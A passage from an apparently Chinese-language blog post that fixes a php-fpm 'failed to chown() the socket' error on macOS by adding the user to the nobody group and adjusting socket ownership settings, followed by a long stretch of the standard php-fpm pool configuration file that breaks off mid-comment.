ERROR: [pool www] failed to chown() the socket '/Users/xianyu123/.phpbrew/php/php-7.1.29/var/run/php-fpm.sock': Operation not permitted (1)</span><br><span class="line">[06-Sep-2021 19:52:53] ERROR: FPM initialization failed</span><br><span class="line">php-fpm start failed.</span><br></pre></td></tr></table></figure><h1 id="解决"><a href="#解决" class="headerlink" title="解决"></a>解决</h1><p>macos用户执行如下命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo dseditgroup -o edit -a 你的当前用户 -t user nobody</span><br></pre></td></tr></table></figure><p>比如我的当前用户为<code>xianyu123</code>,那么我的命令如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo dseditgroup -o edit -a xianyu123 -t user nobody</span><br></pre></td></tr></table></figure><p>然后在php-fpm的配置文件中设置如下:</p><blockquote><ol><li>注释group、user、listen.owner行</li><li>设置listen.group为nobody</li><li>设置listen.mode为0660</li></ol></blockquote><p>最终php-fpm配置文件如下</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">; Start a new pool named 'www'.</span></span><br><span class="line"><span class="comment">; the variable $pool can be used in any directive and will be replaced by the</span></span><br><span class="line"><span class="comment">; pool name ('www' here)</span></span><br><span class="line"><span class="section">[www]</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Per pool prefix</span></span><br><span class="line"><span class="comment">; It only applies on the following directives:</span></span><br><span class="line"><span class="comment">; - 'access.log'</span></span><br><span class="line"><span class="comment">; - 'slowlog'</span></span><br><span class="line"><span class="comment">; - 'listen' (unixsocket)</span></span><br><span class="line"><span class="comment">; - 'chroot'</span></span><br><span class="line"><span class="comment">; - 'chdir'</span></span><br><span class="line"><span class="comment">; - 'php_values'</span></span><br><span class="line"><span class="comment">; - 'php_admin_values'</span></span><br><span class="line"><span class="comment">; When not set, the global prefix (or /Users/xianyu123/.phpbrew/php/php-7.1.29) applies instead.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> This directive can also be relative to the global prefix.</span></span><br><span class="line"><span class="comment">; Default Value: none</span></span><br><span class="line"><span class="comment">;prefix = /path/to/pools/$pool</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Unix user/group of processes</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> The user is mandatory. If the group is not set, the default user's group</span></span><br><span class="line"><span class="comment">; will be used.</span></span><br><span class="line"><span class="comment">;user = nobody</span></span><br><span class="line"><span class="comment">;group = nobody</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The address on which to accept FastCGI requests.</span></span><br><span class="line"><span class="comment">; Valid syntaxes are:</span></span><br><span class="line"><span class="comment">; 'ip.add.re.ss:port' - to listen on a TCP socket to a specific IPv4 address on</span></span><br><span class="line"><span class="comment">; a specific port;</span></span><br><span class="line"><span class="comment">; '[ip:6:addr:ess]:port' - to listen on a TCP socket to a specific IPv6 address on</span></span><br><span class="line"><span class="comment">; a specific port;</span></span><br><span class="line"><span class="comment">; 'port' - to listen on a TCP socket to all addresses</span></span><br><span class="line"><span class="comment">; (IPv6 and IPv4-mapped) on a specific port;</span></span><br><span class="line"><span class="comment">; '/path/to/unix/socket' - to listen on a unix socket.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> This value is mandatory.</span></span><br><span class="line"><span class="attr">listen</span> = /Users/xianyu123/.phpbrew/php/php-<span class="number">7.1</span>.<span class="number">29</span>/var/run/php-fpm.sock</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">; Set listen(2) backlog.</span></span><br><span class="line"><span class="comment">; Default Value: 511 (-1 on FreeBSD and OpenBSD)</span></span><br><span class="line"><span class="comment">;listen.backlog = 511</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Set permissions for unix socket, if one is used. In Linux, read/write</span></span><br><span class="line"><span class="comment">; permissions must be set in order to allow connections from a web server. Many</span></span><br><span class="line"><span class="comment">; BSD-derived systems allow connections regardless of permissions.</span></span><br><span class="line"><span class="comment">; Default Values: user and group are set as the running user</span></span><br><span class="line"><span class="comment">; mode is set to 0660</span></span><br><span class="line"><span class="comment">;listen.owner = xianyu123</span></span><br><span class="line">listen.group = nobody</span><br><span class="line">listen.mode = 0660</span><br><span class="line"><span class="comment">; When POSIX Access Control Lists are supported you can set them using</span></span><br><span class="line"><span class="comment">; these options, value is a comma separated list of user/group names.</span></span><br><span class="line"><span class="comment">; When set, listen.owner and listen.group are ignored</span></span><br><span class="line"><span class="comment">;listen.acl_users =</span></span><br><span class="line"><span class="comment">;listen.acl_groups =</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; List of addresses (IPv4/IPv6) of FastCGI clients which are allowed to connect.</span></span><br><span class="line"><span class="comment">; Equivalent to the FCGI_WEB_SERVER_ADDRS environment variable in the original</span></span><br><span class="line"><span class="comment">; PHP FCGI (5.2.2+). Makes sense only with a tcp listening socket. Each address</span></span><br><span class="line"><span class="comment">; must be separated by a comma. If this value is left blank, connections will be</span></span><br><span class="line"><span class="comment">; accepted from any ip address.</span></span><br><span class="line"><span class="comment">; Default Value: any</span></span><br><span class="line"><span class="comment">;listen.allowed_clients = 127.0.0.1</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Specify the nice(2) priority to apply to the pool processes (only if set)</span></span><br><span class="line"><span class="comment">; The value can vary from -19 (highest priority) to 20 (lower priority)</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> - It will only work if the FPM master process is launched as root</span></span><br><span class="line"><span class="comment">; - The pool processes will inherit the master process priority</span></span><br><span class="line"><span class="comment">; unless it specified otherwise</span></span><br><span class="line"><span class="comment">; Default Value: no set</span></span><br><span class="line"><span class="comment">; process.priority = -19</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Set the process dumpable flag (PR_SET_DUMPABLE prctl) even if the process user</span></span><br><span class="line"><span class="comment">; or group is differrent than the master process user. It allows to create process</span></span><br><span class="line"><span class="comment">; core dump and ptrace the process for the pool user.</span></span><br><span class="line"><span class="comment">; Default Value: no</span></span><br><span class="line"><span class="comment">; process.dumpable = yes</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Choose how the process manager will control the number of child processes.</span></span><br><span class="line"><span class="comment">; Possible Values:</span></span><br><span class="line"><span class="comment">; static - a fixed number (pm.max_children) of child processes;</span></span><br><span class="line"><span class="comment">; dynamic - the number of child processes are set dynamically based on the</span></span><br><span class="line"><span class="comment">; following directives. With this process management, there will be</span></span><br><span class="line"><span class="comment">; always at least 1 children.</span></span><br><span class="line"><span class="comment">; pm.max_children - the maximum number of children that can</span></span><br><span class="line"><span class="comment">; be alive at the same time.</span></span><br><span class="line"><span class="comment">; pm.start_servers - the number of children created on startup.</span></span><br><span class="line"><span class="comment">; pm.min_spare_servers - the minimum number of children in 'idle'</span></span><br><span class="line"><span class="comment">; state (waiting to process). If the number</span></span><br><span class="line"><span class="comment">; of 'idle' processes is less than this</span></span><br><span class="line"><span class="comment">; number then some children will be created.</span></span><br><span class="line"><span class="comment">; pm.max_spare_servers - the maximum number of children in 'idle'</span></span><br><span class="line"><span class="comment">; state (waiting to process). If the number</span></span><br><span class="line"><span class="comment">; of 'idle' processes is greater than this</span></span><br><span class="line"><span class="comment">; number then some children will be killed.</span></span><br><span class="line"><span class="comment">; ondemand - no children are created at startup. Children will be forked when</span></span><br><span class="line"><span class="comment">; new requests will connect. The following parameter are used:</span></span><br><span class="line"><span class="comment">; pm.max_children - the maximum number of children that</span></span><br><span class="line"><span class="comment">; can be alive at the same time.</span></span><br><span class="line"><span class="comment">; pm.process_idle_timeout - The number of seconds after which</span></span><br><span class="line"><span class="comment">; an idle process will be killed.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> This value is mandatory.</span></span><br><span class="line"><span class="attr">pm</span> = dynamic</span><br><span class="line"></span><br><span class="line"><span class="comment">; The number of child processes to be created when pm is set to 'static' and the</span></span><br><span class="line"><span class="comment">; maximum number of child processes when pm is set to 'dynamic' or 'ondemand'.</span></span><br><span class="line"><span class="comment">; This value sets the limit on the number of simultaneous requests that will be</span></span><br><span class="line"><span class="comment">; served. Equivalent to the ApacheMaxClients directive with mpm_prefork.</span></span><br><span class="line"><span class="comment">; Equivalent to the PHP_FCGI_CHILDREN environment variable in the original PHP</span></span><br><span class="line"><span class="comment">; CGI. The below defaults are based on a server without much resources. Don't</span></span><br><span class="line"><span class="comment">; forget to tweak pm.* to fit your needs.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Used when pm is set to 'static', 'dynamic' or 'ondemand'</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> This value is mandatory.</span></span><br><span class="line">pm.max_children = 5</span><br><span class="line"></span><br><span class="line"><span class="comment">; The number of child processes created on startup.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Used only when pm is set to 'dynamic'</span></span><br><span class="line"><span class="comment">; Default Value: min_spare_servers + (max_spare_servers - min_spare_servers) / 2</span></span><br><span class="line">pm.start_servers = 2</span><br><span class="line"></span><br><span class="line"><span class="comment">; The desired minimum number of idle server processes.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Used only when pm is set to 'dynamic'</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Mandatory when pm is set to 'dynamic'</span></span><br><span class="line">pm.min_spare_servers = 1</span><br><span class="line"></span><br><span class="line"><span class="comment">; The desired maximum number of idle server processes.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Used only when pm is set to 'dynamic'</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Mandatory when pm is set to 'dynamic'</span></span><br><span class="line">pm.max_spare_servers = 3</span><br><span class="line"></span><br><span class="line"><span class="comment">; The number of seconds after which an idle process will be killed.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Used only when pm is set to 'ondemand'</span></span><br><span class="line"><span class="comment">; Default Value: 10s</span></span><br><span class="line"><span class="comment">;pm.process_idle_timeout = 10s;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The number of requests each child process should execute before respawning.</span></span><br><span class="line"><span class="comment">; This can be useful to work around memory leaks in 3rd party libraries. For</span></span><br><span class="line"><span class="comment">; endless request processing specify '0'. Equivalent to PHP_FCGI_MAX_REQUESTS.</span></span><br><span class="line"><span class="comment">; Default Value: 0</span></span><br><span class="line"><span class="comment">;pm.max_requests = 500</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The URI to view the FPM status page. If this value is not set, no URI will be</span></span><br><span class="line"><span class="comment">; recognized as a status page. It shows the following informations:</span></span><br><span class="line"><span class="comment">; pool - the name of the pool;</span></span><br><span class="line"><span class="comment">; process manager - static, dynamic or ondemand;</span></span><br><span class="line"><span class="comment">; start time - the date and time FPM has started;</span></span><br><span class="line"><span class="comment">; start since - number of seconds since FPM has started;</span></span><br><span class="line"><span class="comment">; accepted conn - the number of request accepted by the pool;</span></span><br><span class="line"><span class="comment">; listen queue - the number of request in the queue of pending</span></span><br><span class="line"><span class="comment">; connections (see backlog in listen(2));</span></span><br><span class="line"><span class="comment">; max listen queue - the maximum number of requests in the queue</span></span><br><span class="line"><span class="comment">; of pending connections since FPM has started;</span></span><br><span class="line"><span class="comment">; listen queue len - the size of the socket queue of pending connections;</span></span><br><span class="line"><span class="comment">; idle processes - the number of idle processes;</span></span><br><span class="line"><span class="comment">; active processes - the number of active processes;</span></span><br><span class="line"><span class="comment">; total processes - the number of idle + active processes;</span></span><br><span class="line"><span class="comment">; max active processes - the maximum number of active processes since FPM</span></span><br><span class="line"><span class="comment">; has started;</span></span><br><span class="line"><span class="comment">; max children reached - number of times, the process limit has been reached,</span></span><br><span class="line"><span class="comment">; when pm tries to start more children (works only for</span></span><br><span class="line"><span class="comment">; pm 'dynamic' and 'ondemand');</span></span><br><span class="line"><span class="comment">; Value are updated in real time.</span></span><br><span class="line"><span class="comment">; Example output:</span></span><br><span class="line"><span class="comment">; pool: www</span></span><br><span class="line"><span class="comment">; process manager: static</span></span><br><span class="line"><span class="comment">; start time: 01/Jul/2011:17:53:49 +0200</span></span><br><span class="line"><span class="comment">; start since: 62636</span></span><br><span class="line"><span class="comment">; accepted conn: 190460</span></span><br><span class="line"><span class="comment">; listen queue: 0</span></span><br><span class="line"><span class="comment">; max listen queue: 1</span></span><br><span class="line"><span class="comment">; listen queue len: 42</span></span><br><span class="line"><span class="comment">; idle processes: 4</span></span><br><span class="line"><span class="comment">; active processes: 11</span></span><br><span class="line"><span class="comment">; total processes: 15</span></span><br><span class="line"><span class="comment">; max active processes: 12</span></span><br><span class="line"><span class="comment">; max children reached: 0</span></span><br><span class="line"><span class="comment">;</span></span><br><span class="line"><span class="comment">; By default the status page output is formatted as text/plain. Passing either</span></span><br><span class="line"><span class="comment">; 'html', 'xml' or 'json' in the query string will return the corresponding</span></span><br><span class="line"><span class="comment">; output syntax. Example:</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?json</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?html</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?xml</span></span><br><span class="line"><span class="comment">;</span></span><br><span class="line"><span class="comment">; By default the status page only outputs short status. Passing 'full' in the</span></span><br><span class="line"><span class="comment">; query string will also return status for each pool process.</span></span><br><span class="line"><span class="comment">; Example:</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?full</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?json&full</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?html&full</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?xml&full</span></span><br><span class="line"><span class="comment">; The Full status returns for each process:</span></span><br><span class="line"><span class="comment">; pid - the PID of the process;</span></span><br><span class="line"><span class="comment">; state - the state of the process (Idle, Running, ...);</span></span><br><span class="line"><span class="comment">; start time - the date and time the process has started;</span></span><br><span class="line"><span class="comment">; start since - the number of seconds since the process has started;</span></span><br><span class="line"><span class="comment">; requests - the number of requests the process has served;</span></span><br><span class="line"><span class="comment">; request duration - the duration in µs of the requests;</span></span><br><span class="line"><span class="comment">; request method - the request method (GET, POST, ...);</span></span><br><span class="line"><span class="comment">; request URI - the request URI with the query string;</span></span><br><span class="line"><span class="comment">; content length - the content length of the request (only with POST);</span></span><br><span class="line"><span class="comment">; user - the user (PHP_AUTH_USER) (or '-' if not set);</span></span><br><span class="line"><span class="comment">; script - the main script called (or '-' if not set);</span></span><br><span class="line"><span class="comment">; last request cpu - the %cpu the last request consumed</span></span><br><span class="line"><span class="comment">; it's always 0 if the process is not in Idle state</span></span><br><span class="line"><span class="comment">; because CPU calculation is done when the request</span></span><br><span class="line"><span class="comment">; processing has terminated;</span></span><br><span class="line"><span class="comment">; last request memory - the max amount of memory the last request consumed</span></span><br><span class="line"><span class="comment">; it's always 0 if the process is not in Idle state</span></span><br><span class="line"><span class="comment">; because memory calculation is done when the request</span></span><br><span class="line"><span class="comment">; processing has terminated;</span></span><br><span class="line"><span class="comment">; If the process is in Idle state, then informations are related to the</span></span><br><span class="line"><span class="comment">; last request the process has served. Otherwise informations are related to</span></span><br><span class="line"><span class="comment">; the current request being served.</span></span><br><span class="line"><span class="comment">; Example output:</span></span><br><span class="line"><span class="comment">; ************************</span></span><br><span class="line"><span class="comment">; pid: 31330</span></span><br><span class="line"><span class="comment">; state: Running</span></span><br><span class="line"><span class="comment">; start time: 01/Jul/2011:17:53:49 +0200</span></span><br><span class="line"><span class="comment">; start since: 63087</span></span><br><span class="line"><span class="comment">; requests: 12808</span></span><br><span class="line"><span class="comment">; request duration: 1250261</span></span><br><span class="line"><span class="comment">; request method: GET</span></span><br><span class="line"><span class="comment">; request URI: /test_mem.php?N=10000</span></span><br><span class="line"><span class="comment">; content length: 0</span></span><br><span class="line"><span class="comment">; user: -</span></span><br><span class="line"><span class="comment">; script: /home/fat/web/docs/php/test_mem.php</span></span><br><span class="line"><span class="comment">; last request cpu: 0.00</span></span><br><span class="line"><span class="comment">; last request memory: 0</span></span><br><span class="line"><span class="comment">;</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> There is a real-time FPM status monitoring sample web page available</span></span><br><span class="line"><span class="comment">; It's available in: /Users/xianyu123/.phpbrew/php/php-7.1.29/share/php/fpm/status.html</span></span><br><span class="line"><span class="comment">;</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> The value must start with a leading slash (/). The value can be</span></span><br><span class="line"><span class="comment">; anything, but it may not be a good idea to use the .php extension or it</span></span><br><span class="line"><span class="comment">; may conflict with a real PHP file.</span></span><br><span class="line"><span class="comment">; Default Value: not set</span></span><br><span class="line"><span class="comment">;pm.status_path = /status</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The ping URI to call the monitoring page of FPM. If this value is not set, no</span></span><br><span class="line"><span class="comment">; URI will be recognized as a ping page. This could be used to test from outside</span></span><br><span class="line"><span class="comment">; that FPM is alive and responding, or to</span></span><br><span class="line"><span class="comment">; - create a graph of FPM availability (rrd or such);</span></span><br><span class="line"><span class="comment">; - remove a server from a group if it is not responding (load balancing);</span></span><br><span class="line"><span class="comment">; - trigger alerts for the operating team (24/7).</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> The value must start with a leading slash (/). The value can be</span></span><br><span class="line"><span class="comment">; anything, but it may not be a good idea to use the .php extension or it</span></span><br><span class="line"><span class="comment">; may conflict with a real PHP file.</span></span><br><span class="line"><span class="comment">; Default Value: not set</span></span><br><span class="line"><span class="comment">;ping.path = /ping</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; This directive may be used to customize the response of a ping request. The</span></span><br><span class="line"><span class="comment">; response is formatted as text/plain with a 200 response code.</span></span><br><span class="line"><span class="comment">; Default Value: pong</span></span><br><span class="line"><span class="comment">;ping.response = pong</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The access log file</span></span><br><span class="line"><span class="comment">; Default: not set</span></span><br><span class="line"><span class="comment">;access.log = log/$pool.access.log</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The access log format.</span></span><br><span class="line"><span class="comment">; The following syntax is allowed</span></span><br><span class="line"><span class="comment">; %%: the '%' character</span></span><br><span class="line"><span class="comment">; %C: %CPU used by the request</span></span><br><span class="line"><span class="comment">; it can accept the following format:</span></span><br><span class="line"><span class="comment">; - %{user}C for user CPU only</span></span><br><span class="line"><span class="comment">; - %{system}C for system CPU only</span></span><br><span class="line"><span class="comment">; - %{total}C for user + system CPU (default)</span></span><br><span class="line"><span class="comment">; %d: time taken to serve the request</span></span><br><span class="line"><span class="comment">; it can accept the following format:</span></span><br><span class="line"><span class="comment">; - %{seconds}d (default)</span></span><br><span class="line"><span class="comment">; - %{miliseconds}d</span></span><br><span class="line"><span class="comment">; - %{mili}d</span></span><br><span class="line"><span class="comment">; - %{microseconds}d</span></span><br><span class="line"><span class="comment">; - %{micro}d</span></span><br><span class="line"><span class="comment">; %e: an environment variable (same as $_ENV or $_SERVER)</span></span><br><span class="line"><span class="comment">; it must be associated with embraces to specify the name of the env</span></span><br><span class="line"><span class="comment">; variable. Some exemples:</span></span><br><span class="line"><span class="comment">; - server specifics like: %{REQUEST_METHOD}e or %{SERVER_PROTOCOL}e</span></span><br><span class="line"><span class="comment">; - HTTP headers like: %{HTTP_HOST}e or %{HTTP_USER_AGENT}e</span></span><br><span class="line"><span class="comment">; %f: script filename</span></span><br><span class="line"><span class="comment">; %l: content-length of the request (for POST request only)</span></span><br><span class="line"><span class="comment">; %m: request method</span></span><br><span class="line"><span class="comment">; %M: peak of memory allocated by PHP</span></span><br><span class="line"><span class="comment">; it can accept the following format:</span></span><br><span class="line"><span class="comment">; - %{bytes}M (default)</span></span><br><span class="line"><span class="comment">; - %{kilobytes}M</span></span><br><span class="line"><span class="comment">; - %{kilo}M</span></span><br><span class="line"><span class="comment">; - %{megabytes}M</span></span><br><span class="line"><span class="comment">; - %{mega}M</span></span><br><span class="line"><span class="comment">; %n: pool name</span></span><br><span class="line"><span class="comment">; %o: output header</span></span><br><span class="line"><span class="comment">; it must be associated with embraces to specify the name of the header:</span></span><br><span class="line"><span class="comment">; - %{Content-Type}o</span></span><br><span class="line"><span class="comment">; - %{X-Powered-By}o</span></span><br><span class="line"><span class="comment">; - %{Transfert-Encoding}o</span></span><br><span class="line"><span class="comment">; - ....</span></span><br><span class="line"><span class="comment">; %p: PID of the child that serviced the request</span></span><br><span class="line"><span class="comment">; %P: PID of 